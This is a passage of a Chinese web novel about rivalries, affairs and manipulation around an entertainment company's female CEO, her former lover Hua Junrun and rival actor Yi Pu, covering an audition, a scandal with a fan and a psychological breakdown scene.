“邱总强烈推荐易蒲, 我们就说先看看他的表现力。” “是啊, 多亏了邱总。”易蒲侧身, 望向邱芜澜, 眼眸噙笑, “我本来以为会彻底错过这部戏, 没想到周末散步时碰巧遇上了邱总,她邀请我来试镜,还为我搬动了您来搭戏。” 华君润沉眸, 看向坐在内侧的邱芜澜。 她似乎没有听出易蒲绵里藏针的炫耀, 只是看了眼表, “开始吧。” 秋叶娱乐不仅为《红丝鸳》提供了拍摄场地,同时也是这部剧的最大投资方, 她坐在这里, 代表了投资方的意见。 “好。”易蒲将剧本拿给华君润,“君润老师,我试的是这一场, 您需要点时间来准备么。” 华君润一阵窒息。 现在不过早上八点半,看易蒲熟稔的姿态,至少提前一晚就拿到了试镜的剧本。 他有充足的时间练习;而在进入这间练舞室之前,没有人通知过华君润要试戏。 他措手不及、没有任何准备,导演、制片人以及邱芜澜都已就位,即便他们给他时间当场看剧本,在三方压力下也很难静下心。 这份对易蒲的偏爱,以及对他的刻薄,泾渭分明,令华君润心口发麻刺痛。 “好,”他接过了剧本,“不好意思,稍等我一会儿。” 他站在门口,目光从第一行往下,扫视审阅。 两分钟后,他将整页纸看完,没有还给易蒲,转手倒按在桌上。 “可以了。” 易蒲眼见,前一刻还谦逊温和的男人倏地没了笑意,他单手扯过一旁的椅子坐下,双膝打开,大刀阔斧;下颚微收,目光集中向前。 整个人气势为之一变,锋利沉冷,全然是剧中那位枭雄武王的模样。 这眼神令易蒲一凛。 他在某些时刻明目张胆地踩在华君润头上,可不得不承认,在演戏方面,自己望尘莫及。 邱芜澜很照顾他,提前把剧本给了他,又特意没给华君润时间准备。 尽管如此,华君润入戏的状态和速度还是让易蒲气短了一截。 他是怨恨的,明明自己的水平、长相不算差,又得到过邱芜澜的赞助,可从进入艺校开始,“小君润”的绰号便如诅咒一般,压得易蒲永远低人一头。 小君润? 可笑,他才不是谁的替代品。 易蒲蓦地后退数步,深吸一口气,进入剧情。 “王兄!”待他睁眸,脸上已是一片喜色。 他朝华君润快步而来,臂膀微晃,穿着短袖,却让人看出了笨重的盔甲形状,“王兄,摩契已率众投降,西北三百里土地尽奉于我大昭。潃岐门户大开,王兄夺取中原的霸业指日可待了!” 导演眼睛一亮,能把四方步信手拈来的年轻演员着实不多。 易蒲的功底相当扎实,不需培训就已有了架势。 “好。” 这一声好,抑扬顿挫。 华君润扶膝起身,双眸先露精光,随后才附笑意。 “四弟辛苦,我方伤亡如何?” “轻伤不过两千,牺牲不过五百。”易蒲单膝跪地,双手上举,“摩契舆图国印在此,奉于王兄!” 华君润疾步拿起,侧身展图赏阅。 他脸上的勃勃野心表现得淋漓尽致,仔细看完地图上每一寸土地,才记得拉起易蒲。 这段戏对易蒲和华君润来说难度同等,都有一次情感转变。 从大获全胜的喜悦激动,到谋划后续的深思沉稳,情绪上由动到静,台词更是复杂。 短短三分钟,讨论战况局势、诸国势力,近两千字的台词,易蒲错愕地眼见华君润居然一字不卡的说了出来。 他花了心思准备这次试镜,背下了所有台词,因而听出华君润说错了几次,可他面色自然,语气恰当,大致意思也没有偏离,除了熟背全文的易蒲,连导演和制片人都没发现错处—— 他不过是来到这里之后,通读了一遍剧本而已啊。 “好,很好。”最后一句台词结束,制片人率先夸赞了起来,“易蒲,你表现得相当不错。” 易蒲低头致意,“谢谢您。” 导演没有发话,直到邱芜澜侧身询问他,“您觉得怎么样。” “我…哈哈,”他摊手,“我没什么好说的,就是可惜没把摄像机带来,不然能省个场次。” “是啊,这段直接拍都没什么问题。”制片人感慨不已,“亚缇丝不愧是亚缇丝,又优秀又努力,华老师,您已经把整部剧的剧本都背完了?” “不,还没有。”华君润道。 “天呐,那你是过目不忘吗!”制片人震惊,“看一遍就全记下来了?” “我之前看过几遍,了解了设定。”华君润坦言,“有五六处忘词了,我按照上下文自己填了词。” 制片人由衷感叹,“太厉害,太厉害了。” 邱芜澜截断了她的赞叹,对导演道:“那就麻烦您去和王轩那边沟通了。” 导演点头,“没问题。” 她复看向易蒲,眉眼柔和,“我没看错人。辛苦你来这一趟,中午一起吃个饭。” “邱总盛情,当然好。”易蒲笑着,余光扫向华君润。 华君润定定地望着邱芜澜。 无论是表现力、情绪爆发力以及台词功底,他都不输精心准备后的易蒲,然而对于方才的表演,邱芜澜一字未评,她的目光始终落在易蒲身上,未曾施舍他一缕。 “呀,真热闹。” 练舞室的门被轻轻推开,探出半边倩影。 季语薇扶着门,向内打量,“打扰了,来看看我的男人们。” “哦,女一号来了。”导演和季语薇打了招呼,“正好,季尧在吗?” 邱芜澜意会,“去我公寓吧,我让阿尧简单做两个菜。” 她提前离场,把空间让给剧组。 简在办公室等她,“易蒲的试镜还顺利吗?” 邱芜澜将今天试镜的剧本丢去桌上,“‘小君润’怎么肯在华君润面前丢脸呢。” 简笑道,“真是一箭双雕,‘小君润’和华君润扮演兄弟,冲着这点,就足够有噱头了。” “韩尘霄安分了么。”邱芜澜拉开办公椅。 “上周开始复工了,接了不少活,行程排得连轴转。” “真幸福。”邱芜澜落座。 简明白她的意思,“是啊,多少艺人想接活都接不到呢。” “不过,”她将一个盒子和一把钥匙放在了桌上,“韩尘霄托我将这两样东西交给您。” 邱芜澜扫过,“这是什么。” “去年您让我买礼物,我给他选了一辆车和一只表。” 邱芜澜偏头,思考了一会儿:“是么。” 这样琐碎的小事,她记不得了。 “都半年了,也退不掉;二手东西,又不能再去送人。”邱芜澜戴上眼镜,“你拿给他吧,告诉他,我更想收到等价的业绩。” “好。” “不急,先让人把鸟拿来。” “那只鹦鹉?” 邱芜澜“嗯”了一声,“中午我带他们去公寓吃饭。” 季尧收到邱芜澜的信息后便往公司赶,即便以最快的速度赶回,抵达公寓也预计超过十二点。 他来不及做饭,在路上从农场订了肉和菜,让人把别墅里的六宫格黄铜火锅桌送去了公寓。 季节不太对,但冷气开得很足,在场一大半又都是要控制饮食的人物,比起精致碳水和糖油混合物,更能接受清汤火锅。 季尧将最后一盘沙拉送到桌上,邱芜澜搭着他的小臂,让他坐在自己身边,“辛苦了。” 易蒲拨弄着碗里的前菜,无可奈何地发笑。 不管邱芜澜身边的男人换了几轮,她对待这个远房表弟的态度倒始终如一。 远房表弟呵—— 在座的三人很清楚一个事实: 邱芜澜另眼相待季尧,并非出自家族观念。 邱家的远方亲戚多如恒河沙数,只有季尧长久留在了她身边。 这是韩尘霄和那些嫉恨季尧的前任们所看不清的事实:他们以姐夫自居,先入为主了邱家重视家人的观念,也被季尧轻佻天真的外表所蒙蔽。 六个宫格,七个人,四格都是清汤,对准了在场的四位艺人。 “借着邱总的地,咱们敬易蒲一杯,就当是欢迎会了。”导演举起杯子,乐呵呵地伸到了冒着热气的铜锅上。 “干杯。”季语薇笑着附和,对坐在身旁的易蒲眨眼,“我从没有当过主演,君润和阿尧是知道我演技的,我已经提前跟他们赔过罪了,易蒲老师,之后有拖累你的地方,多担待。” “不敢不敢。”易蒲双手托杯,“在座都是前辈,我也就敢和阿尧闹一闹了。” 季尧举杯,隔空敬了易蒲后,抿了口杯中的果汁。 “多少年了,多少观众期待你俩一起出镜。”制片人有意帮易蒲破冰,为他找了个话题,“你们一起演过戏吗?” “嗯,有的。”易蒲道,“我第一部爆剧就是和君润老师合作的,他演养父,我演养子。” “对对,我想起来了,就是从那部剧开始,你被叫小君润嘛。” “网上还说你俩有父子相。” 华君润将肉夹给了易蒲,“来儿子,补补。” “欸,谢谢爸。”易蒲抱着碗,弯眸笑着,斯文和气。 只是到饭局结束,那块肉都留在了碗里。 季尧托着腮,有一搭没一搭地喝着罐装果汁。 他注意到了那片肉,吃完饭,导演制片人打车回去,邱芜澜亲自送易蒲,留下秋叶自家三个艺人收拾残局。 季尧做的饭,收尾工作就交给了华君润和季语薇。 “真不好意思,”季语薇将手背在身后,“我新做了指甲,能麻烦你吗,君润。” 华君润收着筷子,“哦?弹琴的手居然做了美甲。” 季语薇笑容愈甜,他将空碗垒起来,“开玩笑的,你歇着吧,我来。” “谢谢。” 季语薇从冰箱搜刮了罐剩下的啤酒,坐去季尧身边,看他打游戏。 咔——易拉罐打开,响起细微的气泡声。 她吃了一顿寡淡的水煮菜,此刻却喝着菠萝啤。 “玩什么呢。” 季尧眼也不抬地回道,“死亡宫。” “怎么玩的?”季语薇靠去沙发背上,瞄向他的手机。 黑乎乎的一块,画面很暗。 “宫斗题材,恐怖解密。” “这八个字居然能放在一句话里。” “宫斗的刻板印象本就和恐怖解密差不多,悬疑、死伤、谎言、推理。要进组了,选款古风游戏感受一下气氛。” 季尧放大了漆黑的角落,在墙壁上找到了一小块卫星状溅落血迹。 “看来陈贵人是在这个角落被人袭击了,”他自言自语,“出血量不大,没有移动的痕迹,凶手精于此道,出手精准且谨慎,陈贵人未察觉就糟了暗算。” 季语薇支着下巴,“根据你的推论,会是谁做的?” 季尧道,“不管是谁、不管是恐怖解密还是宫斗题材,最终boss不都是皇后么。早晚要对上。” “我倒不这么想。”季语薇摇晃着啤酒罐,壁上的水珠落下了几颗,“电视剧也好,游戏也罢,一部好的作品一定具有现实意义,而现实里的皇后,有什么必要去针对区区妃嫔呢。” 季尧余光睨向她。 季语薇轻笑,“人们总是给皇后套上悲情的设定,这不过是皇帝的金锄头——平民不允许世上有既尊贵又幸福美满的女人,非得让她有点不好过不可。” “可惜事实正好相反。前朝皇后们的权力至高无上。” “她们掌控着选秀名单,有生杀予夺大权,皇帝不能废后,皇后却能把皇帝从她不喜欢的妃子床上拖走,就算当着皇帝的面给哪个妃子一巴掌,皇帝原则上也不能干涉皇后管教妃嫔。” “一个是妻子,其他的只是玩物。”季语薇勾唇,“皇后作为人,怎么会恨玩具呢。” “语薇姐,真理智啊。”季尧将注意放回了游戏,“可要是皇后爱皇帝入骨,那么玩具也会碍眼。” “不,那算不上爱,只是自私狭隘的占有欲。”季语薇抚胸,语调轻盈,水眸潋滟,“真正的爱,是爱屋及乌。要是皇后爱皇帝入骨,那么皇帝的一切都会让她爱不释手,包括那些玩具:她玩那些玩具时在想什么、感受如何,那些玩具为什么会吸引到她——好的皇后该想这些才对。” 季尧有一搭没一搭地聊着,“这么好的皇后,也不知道有没有人能理解她的用心良苦。” “真正的爱本来就是默默无闻的。既然是好皇后,就不会向皇帝邀功:自己为了她都做了哪些努力。” 季语薇的语气、声音和表情都呈现出微妙的怪异,像是过分虔诚的教徒。 那份对信仰的狂热,让普通人难以接受,毛骨悚然。 “只有这样,才算得上‘爱’,不是么。” “是么。”季尧不置可否。 游戏弹出了选项框,要求玩家选择杀害陈贵人的凶手。 季尧没有立刻选择,在他思索的间隙里,季语薇倾身,双臂交叉着,搁在了他肩头。 “没想好么?”她提议,“选第二个,华妃,如何?” “听语薇姐的。”季尧从善如流,按上了第二个华字。 猩红的血浆顿时炸满屏幕,选择之后,鲜血淋漓的一个「殁」字出现在手机中央。 咔哒…… “我切了点水果,” 瓷盘落于桌面,发出轻响,从厨房出来的华君润温声道,“一起吃点吧。” 季语薇歪头看着那个「殁」字:“什么意思,我猜错了吗。” 季尧抬眸,看向温雅的华君润。 “没有。”他叉起了华君润送来的苹果,“是选错了。” “哎呀,真可惜。”季语薇掩唇,讶色间没有半点歉意,反而笑意盈盈,“不好意思,我不懂游戏。” 切成块状的苹果保留了部分红润的果皮,做成了兔子造型。 季尧咔嚓咬断了兔子的头部,只留下两只鲜红的兔耳。 “不要紧,”他咀嚼着果肉,不甚在意,“我有很多存档,每一步都能回溯重进。” “游戏是游戏,也别忘了现实里的事。”华君润在沙发的另一端坐下,“阿尧,听说之前你和你们队长闹了矛盾,现在和好了么。” 季尧叹气,“君润哥,你是我哥,又不是我爸,说话别那么老气。” “是叫韩尘霄?”季语薇眼藏笑意,“他看起来对芜澜是真心的,怎么说分就分了呢。” “邱总不缺真心,”华君润道,“待在邱总身边,还需要能力。” “这话说得可真功利。” “爱可抵万难。”季尧重新开局,“他没有抵挡住,说明没有爱。” “呀,”季语薇愁僝蹙眉,“你们也太欺负后辈了。” 韩尘霄的话题在三人随口的闲谈里提起,又在这句可有可无的感叹中草草结束,无人再提。 客厅静默下来,L型的沙发,三人各占一块,相安无事地专注于自己手中的事。 “嗯……” 秋叶娱乐最大的练舞室内,年轻男女密不可分地搂抱着。 白皙柔软的双臂勾着男人的脖颈,女人腰抵着舞蹈镜前的把杆,迫切痴迷地与身前的男人相吻。 “哈…好棒。”空灵的声音如琴弦颤动,她爱恋地抚摸男人温润的脸庞,目光着迷,好似在透过他看向别的什么。 “听说您是邱总最好的朋友,”男人哂笑,“语薇姐,邱总请我来,可不是做这个的。” “可我想做。”季语薇伸出舌尖,沿着男人侧颈动脉舔舐,“你也想试试芜澜最好的闺蜜,不是么。” 男人眸色微沉,伏在季语薇耳畔道,“语薇姐,提醒您一下,墙上有监控。” 这句话后,他等待着季语薇惊慌失措的表情,然而,季语薇却是笑了。 她嗌嗌低笑,指尖挑开男人衬衫上的纽扣。 “那你猜猜,这里的监控,正对着哪里?” 柔若无骨的五指滑入衬衫,季语薇啄吻着男人喉结,她在他喉咙前呵气,“芜澜在看我呢……易蒲,别弄乱我的发型。” 易蒲眼眸微眯,下一刻,他掐着季语薇的腰,将她压在把杆上,粗暴地吻了下去。 隔音绝佳的舞蹈室内,前后上三面镜子同时照应出纠缠的人影。 墙角倒挂着的监控亮着微弱的红灯,如实记录着室内的靡靡之景。 第70章 第七十章 尽管易蒲成为了《红丝鸳》男二, 作为外部人员,他来秋叶娱乐的次数也太过频繁了。 更频繁的,是他和邱芜澜见面的次数。 “我吃醋了。” 季语薇隔着椅背, 圈住邱芜澜的脖子,“不让你走。” 邱芜澜也没有走, 照旧做自己的工作,“韩尘霄你不吃醋, 易蒲又有什么醋。” 被她戳破,季语薇顺势坐去她腿上。 “芜澜,为什么是易蒲?”她问。 邱芜澜没有回答。显示器右下角有红点闪烁, 她将其点开, 一张十六格的监控画面弹了出来。 左上角, 华君润从办公室出来, 往电梯走去; 中间的格子里, 地下停车场的电梯间照到了易蒲。 两间电梯, 他们按下了同一楼层——练习室的楼层。 邱芜澜起身离座, 季语薇自她腿上滑去座位,她愣怔地看着十六格监控,继而揪住了邱芜澜的衣摆。 “芜澜, 我的呢?”她仰头问。 “什么?”邱芜澜垂着眸, 兀自整理袖口。 “我的监控呢?”季语薇的笑有点发涩, “你不看着我么。” “最近要看的人变多了,只能摘掉一部分。”邱芜澜回眸俯瞰她, “我出去一会儿, 你走的话,记得关门。” 她迈步离去,季语薇呆坐在座位上, 指间残留着布料抽离的感触。 电脑没有锁屏,她蓦地回神,在监控后台翻找。 没有、没有、没有—— 她翻遍了邱芜澜后台系统所有监控,近百个画面没有一个分给她! 是因为她信任她? 不…… 那张柔美的脸阴沉如水,她坐在电脑前,眸色暗戾无光。 她不关注她。 她不在乎她。 监控画面中出现了邱芜澜的身影。 她从电梯下去,静立在电梯间。 电梯面板上的数字不断跳动上升,没有多久,电梯打开。 华君润迈出电梯的刹那,便对上了邱芜澜。 他眸中涌现错愕,旋即面色如常地颔首致意,“邱总怎么在这儿?” “等人。” 华君润顺着邱芜澜的目光看向另一部电梯,面板上是即将抵达的楼层数字。 这是艺人排练的楼层,邱芜澜等在这里,要么是为下一项目的重点目标,要么是等季尧季语薇。 数字停止,看清从电梯里走出来的男人时,华君润呼吸一屏。 “邱总。”易蒲笑着,脸上无有讶色,像是一早知道邱芜澜会在这里等他。 “走吧。”邱芜澜冲他颔首。 她带他开了一间练习室,递出临时工牌,“杀青前,你都可以用。” “谢谢。”易蒲余光微移,看见不远处的华君润后,缓缓补充道,“其实,你不必特殊照顾我的。” 那张温润如玉的脸眉舒眼展,像极了华君润的招牌,又携了隐忍柔情。 他放轻声音,对她私语:“入行的时候,你就帮了我许多,芜澜,我已经能独当一面,承担主役的责任了。” “这不是为你,”邱芜澜直视他,“是为了我、为了我们。” “芜澜…”易蒲前迈半步,倾向了她,他注视着她,欲言又止。 半晌,他收回了那半步,后退回身,拉开了练习室的门。 “好,”他咽下了某些言语,向她保证,“我会珍惜这次机会。” 邱芜澜轻轻嗯了一声。 她做完接待,回到电梯间准备上楼,华君润依旧站在原地。 邱芜澜按下电梯键时,他兀地开口,“他为什么会在这里。” “主演都在这,他过来方便找你们聊戏。” “那么,你想要和他复合么。” 邱芜澜睨向他。 “不一定。”她说,“易蒲很有分寸,所以我有挖他过来的想法。” “不一定?”这三个字在华君润口中绕了几圈,“你不是向来不喜欢和前任纠缠的么。” “你现在不也站在这里么。” 华君润语塞,他压抑着翻滚的情绪,佯装玩笑,“我以为,比起和睦的父子营业,相似的两个男明星相互撕扯,才会更有看点。” “谁说同一家公司的艺人一定要和睦呢。” 电梯打开,邱芜澜步入轿厢,对华君润颔首告别。 脚下的地面倏地一沉,赶在关门之前,华君润踏入了电梯。 邱芜澜疑惑地看向跟来的华君润。 华君润凝视她,那双黑眸里的神情如纸中之火,再也忍耐不住,焚烧而出。 “‘小君润’的外号名不副实。”他沉沉开口,“不管是从前还是现在,华君润都不会在你的公司里,和你的闺蜜苟合。” 头顶的电梯监控亮着微弱的红外灯。 邱芜澜反问:“你到底想说什么。” 华君润眼睑半瞌,“作为股东,我不建议你签私德有亏的艺人。” 邱芜澜沉吟,“你是要我开除全公司80%艺人——特别是你么?” 华君润双手紧握,继而松开,强行让自己放松。 他控制住了肢体,但神经上的反应无法削减。 电梯抵达26层,发出提示音,这声音在华君润脑中无限拉长,像一条直线,从耳蜗穿过大脑,形成晕眩的耳鸣。 他没能大声反驳; 华君润早已不是那个坦坦荡荡、问心无愧的年轻人了。 邱芜澜抬步越过他,“‘小君润’,名副其实,不是么。” 她回到办公室。 季语薇已经离开,走之前帮她锁屏了电脑。 邱芜澜拂过办公椅椅背。 椅子被推入桌下,可角度有些偏斜。 她离开时缺了点时间。 …… 自邱芜澜邀请了易蒲后,易蒲一周至少来秋叶娱乐签到一回。 “易老师。”“易蒲老师早。” 前台的接待们已同他相熟,他有着自己的休息室和练习室,俨然成了秋叶娱乐半个艺人。 作为如今四小生魁首,易蒲极具亲和力,迅速与秋叶娱乐的员工打成一片,在公司里人气颇高。 “早。”他从秋叶娱乐大门进来,门外停着一辆面包车。 三名穿着制服的人员正从车里搬卸小纸盒。 装着甜点的纸盒摆满一小推车后,他们便将其送去各楼层茶水间。 “稍等。”易蒲在他们进电梯前挑了两个出来,放去前台,“来,你们的份。” “哇!我们也有吗!”年轻的接待惊喜道谢,“谢谢易老师!” “这多好不意思啊,您来我们公司,还帮我们补充茶点。” “就当是交房租。”易蒲笑着同她们挥手,“我先上去了。” 目送他离开,两名接待拆开纸盒,里面是小小一块提拉米苏。 “看着好好吃。” “他真的一点都不耍大牌,要是能和我们公司签约就好了。” “人家已经是工作室老板了,怎么可能再当打工仔呀。” “话是这么说,”接待压低声音,“可华君润不也是放弃了自己的工作室,来和我们签约了么。” “网上都说是他工作室撑不下去了,才被我们接手的。易蒲看着不像有经济困难啊。” “就是说啊,这么贵的蛋糕买了整整一车,不知道的还以为是在给自家员工发福利呢。” 第三支叉子伸了过来,两名接待的笑容戛然而止。 那柄塑料叉自然而然地切下提拉米苏一角,她们顺着叉子向上望去,看见来人是谁后狠狠松了口气。 “季尧,你吓死我们了。” “怎么了,”季尧含着蛋糕,“‘易老师’来了,我就不能和姐姐们一起玩了么。” “你知道我们不是这个意思。”接待们笑嘻嘻地从抽屉里拿出饼干小零食,“别走,待在这里。你也在这边吃东西,主管就骂不到我们了。” 季尧将叉子扔进垃圾桶,“嗯……可是你们一直围着易蒲转,让我没什么吃东西的心情。” “哎呀,你怎么这么可爱。”她们低呼着,发出看见猫咪的声音,“人家是客人,当然要热情点咯。” 季尧眨眼:“他是客人,那我是什么?” “你说你是什么。”年长些的接待红着脸道,“我们有什么秘密都只告诉了你,你怎么还吃人家的醋呢。” 季尧吃醋样子让两名接待极为受用,像他这样年轻漂亮的美少年,既是邱家的表少爷,又是明星偶像,却时不时地冲她们撒娇。 她们当然明白季尧未必真的把她们放在眼里,可就像被猫咪亲近的人类一样,哪怕知道猫咪的举动是为了乞食,也不妨碍她们自满得意。 季尧视线微垂,看见女人若无其事地在他吃过的地方切下一块放进嘴里。 她没有咀嚼,用湿滑的舌头碾开了甜腻的奶油。 烂糊的蛋糕融合唾液,粘在口腔壁上,她再度开口,嘴巴便发出糖分分解的酸臭。 那股腐烂的反酸感从女人的舌苔冲入季尧口鼻,其中融合了口红浓烈的香精油脂味。 喉结微滚,剧烈的反胃感令他差点当场呕吐。 恶心至极。 “是吗,我才不信。”他眨眼,转身离开大厅。 姐姐…… 姐姐、姐姐…… “姐姐……” 邱芜澜猝不及防被拉起了左手。 她正和邱泽安以及分公司几位负责人开线上会议,季尧突然进门,他蹲跪在座椅旁,拉起她的左手,贴于面前深嗅吸气。 邱芜澜不能离开摄像头,眸光微瞥,用眼神询问季尧:“?” 季尧没有看见她的表情,他轻瞌着眼,戴着呼吸机般专心嗅闻着邱芜澜的手。 少年温热的气息洒在掌心,掠起微弱的痒意。 清雅的兰草气救赎了他,待季尧从那浑浊油腻的酸味中挣脱,邱芜澜已结束了会议,侧身盯着他看。 “怎么了?”她问。 “易蒲哥带了蛋糕来,”季尧保持着那温驯的姿势,“太难吃了,差点让我吐出来。” 邱芜澜很能理解这种感受,绝大部分甜品都难吃得让她想吐出来——她通常也的确会吐出来。 但她同时也清楚,季尧和她不同,他并不挑食。 “阿尧,”她深感无奈,“你不该这么关注那些没用的东西。” 韩尘霄刚走,她的弟弟刚恢复几天活力,竟又被易蒲夺去了心神。 “你最近的注意力太分散了。”贴在季尧唇鼻前的手掌顺势后移,抚上了他的脸颊,“难道公益活动和我布置的作业不足以充实你的生活么。” 季尧回避了她的目光。 良久,他轻声道,“姐姐,那有可能是我未来要相处的家人。” “你的家人只会是我。” 这句话脱口而出,邱芜澜和季尧同时一顿。 邱芜澜迅速意识到,自己说错话了。 她早已决定放季尧自由,他的家人该是他的妻子、他的孩子,他不能像没断奶的小狗一样永远跟在她脚后。 可与这一决定相反,这半年来,她优柔寡断、拖沓反复,到如今,听见季尧说他将韩尘霄、易蒲等人视作家人时,一股被背叛的愠恼不自觉腾升窜起。 在大脑反应过来之前,声带已发出强令—— “别再为这种人和事浪费精力,去做我给你的数据分析。” “邱总!” 办公室门倏地被推开,简神色匆忙地闯入,“出事了。” “华君润参加活动时,失手把一名行为过激的女粉丝推进了江里。对方溺水,已送往医院,华君润现在被警察带去了局里。” 邱芜澜回眸,余光落在桌面右下角的监控程序上。 “患者情况如何?”她问。 “活动现场人很多,因此抢救及时,但呛了点水,需要在医院观察一下。” 简汇报完,蓦地一愣。 艺人闹出如此恶劣的事件,她却看见邱芜澜唇畔浮现出欣慰的满意。 “我知道了。”她将电脑关机,“去医院吧。”魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 70-80 第71章 第七十一章 现场人员很多, 因此落水者第一时间得到了救助。 邱芜澜赶到医院时,门口已被堵得水泄不通。 看见她的车子,等候在外的记者媒体们蜂拥而上, 四名保镖在前面开道,无数话筒越过保镖的阻拦, 伸到邱芜澜面前。 秋叶娱乐的副总第一时间赶来慰问,面带愁容, 忧心忡忡。 落水者的情况和邱芜澜预计的差不多,赔款很容易谈成,对方反过来求她不要问责华君润, 声称地面湿滑, 是她自己不小心摔下去的, 和华君润无关。 外面记者环绕, 出于对受害者的保护, 她暂时留在了医院。 警方问询后, 释放了华君润。 当事人一口咬定是自己滑倒, 但路面监控清晰地拍下了华君润肘推她的画面。 湖边拍摄时,女子突然冲出,紧紧抱住了华君润, 在近一分钟的语言劝阻未果后, 华君润的表情明显焦躁起来, 随后抬肘,做出了推搡动作。 邱芜澜带着法务一同慰问, 拿到了女子的谅解书和承诺书。 秋叶娱乐官媒立刻发表澄清, 一面向落水者道歉,公布赔偿金额;一面呼吁公众理智追星; 同一时刻,华君润账号也发表道歉, 承诺会当面向该女子致歉。 这件事引起了粉丝的极大不满。 私生饭向来令人不齿,监控爆出后,连路人都觉得不适。 起初还有粉丝指责秋叶娱乐没有保护好艺人,在秋叶娱乐取消华君润之后的三天行程,并在评论区解释赔偿金不会从华君润分成里扣后,情况才好转了一些。 这之后,火力全部集中在了落水的私生饭上。 “活该,被淹死都活该。” “性别一换,真要被吓死。” “换什么性别,那么多痴汉骚扰女明星无人在意,果然地球就是个爱丁堡。” “笑死,润滑油哥提纯提得太过了,这下子被反噬了吧。” “没你家哥哥会虐粉哦。” “华华好可怜啊,被疯子当街强抱,还要道歉挨骂,憋屈死我了。” “为什么要赔偿为什么要赔偿为什么要赔偿?猥.亵明星还能拿到几万块钱,是我有问题还是这个世界有问题?秋叶娱乐是在支持私生饭吗?” “看监控,华华真的被吓到了,希望他能好好休息,别被影响心情[拜托]” “欢迎回家。” 密码锁自外开启,发出温柔的电子语音。 这语音和别墅内的原木风装修相配套,一进门便营造出简朴的温馨——本该如此,但此刻房内窗帘紧闭,漆黑不见五指。 “谁!” 楼梯上传出仓惶的脚步,黑暗之中有模糊的人影立在二楼,死死盯着进门的邱芜澜。 邱芜澜抬手,打开了灯。 霍然间,明光驱逐了黑暗,将室内照得通明。 在暗处久待,突遇到强光,华君润却连眼睫都没颤动一下。 他睁大了双眸,瞳孔没有聚焦,依旧死死盯着邱芜澜方向,又一次问:“谁!谁在那里!” 邱芜澜搭在开关上的手一顿,“还听得见么。” “……芜澜。”华君润愣怔着,听到声音后,猛地朝她跑来。 自二楼跑下,他中途踉跄了两步,所幸一直抓着扶手,才没有从楼梯上滚落。 他脸上堆满了急切焦虑,却在最后三四级台阶上驻足。 短暂的踟蹰后,他兀地转身,慌张地往楼上折返跑去。 不等他迈步,小臂倏地被人扣住。 “哈!”他惊叫出声,受到极大刺激般叫了出来。 “君润,你怎么了。” 华君润惊恐回眸,他眼中的景象改变了。 他并非看不见她,在邱芜澜发声之前,尽管视野内黑暗无光,他也依旧清楚地看见了邱芜澜:她的衣服、鞋子,乃至她半藏在发丝间的耳钉。 唯独看不见她的脸。 他睁大了眼睛,怎么也看不到邱芜澜的五官。 直到此刻,他听见了她的声音、被她拉住了手腕。 华君润慌促回头,他终于看见了她的脸——一朵圣洁、凌厉的寒兰出现在他视野中,花瓣冰白,前部边缘布满细齿,洁净凛然不可直视。 “君润,”那冰清高贵的寒兰触碰了他的额角,“你,停药了么。” 华君润脑中一片混沌,他听见了她说的每一个字,却像酩酊大醉时那样,无法理解字句的含义。 他眼里只有寒兰的妍姿,高不可攀、白无瑕疵。 “啊…啊……”他张嘴,想要回答她,费尽力气却只徒劳地发出几个气音。 他愈发焦急,越是用力,发出的声音越是短促。 邱芜澜眼见他胸口剧烈起伏着,面色涨红,出现了轻微窒息。 “冷静,跟我呼吸。”五指用力,她将他扣得愈紧。 “吸气。”她坚定地轻语。 华君润深吸一大口气。 “吐气。” 华君润连忙将气吐出。 “吸气。” 他一一照做,瞳孔涣散,混乱的大脑无法思考,只知道迟钝地听命照做。 呼吸被邱芜澜理顺,发不出声的焦虑缓缓消除,他放松下来,内心充满安宁。 “吸气。” 这一声“吸气”之后,迟迟没有出现下一个“呼气”。 华君润茫然地呆在原地。 他感知不清时间的流速,只慢慢觉得肺部发生疼痛。 这份疼痛逐渐升级,痛得他流泪哭泣,口鼻却麻痹坏死了一般,失去了自主呼吸的能力。 终于,在他濒临极限,忍无可忍之际,终于听见了柔和的嗓音。 那声音如天使羽毛般轻飘飘地落在他耳畔,她说:“……吐气。” 赦令下,华君润急不可待地将充盈肺部的浊气全部排出。 体内所有垃圾都仿佛从这口气排了出去。 华君润惝恍着,身体轻盈无比,仿若受到了净化和洗涤。 “吸气。” “吐气。” 他被她戏弄得差点窒息,可缺氧的大脑愈发迟缓,昏沉地无法处理任何信息,只能依赖外部指令。 接下来的指令清晰稳定,他再度放松下来,在明确且安稳的支配声中,逐渐感受到了疲乏。 “好乖……” 柔嫩的寒兰花瓣包裹了他的脸,呢喃吐蕊:“要是你一直这么乖,我们又怎么会分开。” 华君润阖眸,滚烫的泪水自眼角滚落。 他无端地悲伤至极、痛苦至极。 “告诉我君润,”邱芜澜凑近了他,贴着他的鼻尖,“发生什么事了。” 发生什么事了…… 什么事…… “他威胁我!他威胁我!”平静下来的男人猝然大喊。 他抱头蹲在地上,瞳孔发直,被恐惧笼罩。 邱芜澜随之蹲下,“威胁你什么?” “威胁我、威胁我……”他没有回应,魔怔着喃喃重复。 邱芜澜眯眸,加重语气、缩短字数:“威胁什么。” 如同听从她的指令而呼吸一样,华君润习惯性地服从了这声音的命令,回答道:“我收到了……好多照片。” “什么照片!” “吃、吃饭、喝酒……应酬……” 邱芜澜眸光微移。 华君润的病情的确比她想象得要轻。 易蒲的刺激和狂热粉竟不足以摧垮他,原来背后还有她不知道的照片的推力。 她是怎么拿到那些照片的? 宋折凝出事之前,连邱芜澜都以为自己不会再和华君润有什么牵扯了,她为什么会把那段时期的华君润记录下来? 不需要华君润多加解释,邱芜澜很容易理解他焦虑的原因。 邱芜澜见过很多天才,不管什么行业,天才永远只分为两类——穷天才和富天才。 后者为自己的天赋感到自豪; 而前者不管表面得意洋洋还是过度自谦,私下里都将努力放在首位。 “成功是99%的努力” 他们将这句话奉为圭臬,即便知道了后半句,也依旧视努力为主要成因。 华君润亦是如此。 他是个奉行天道酬勤的男人,被那套努力教育深深洗脑,将宝贵的天赋摆在努力之下。 他不屑天赋,更不屑攀权富贵,坚信自己所得到的一切都是依靠努力换取的。 别人说他是老天赏饭吃时,他尚且气愤对方忽视他的努力; 要是外界知道他这些年获得的荣誉是靠“应酬”“交际”得来的话,华君润无疑会走向崩溃。 这是他最不能容忍的事情,他也确实是崩溃了。 多年不见,邱芜澜以为他变得圆滑世故,连用权力威逼、诱导一个年轻人自毁的事情都能泰然操办;可在演戏这条路上,华君润竟还是纯稚得像个孩子,固执倔强得不肯低一点头。 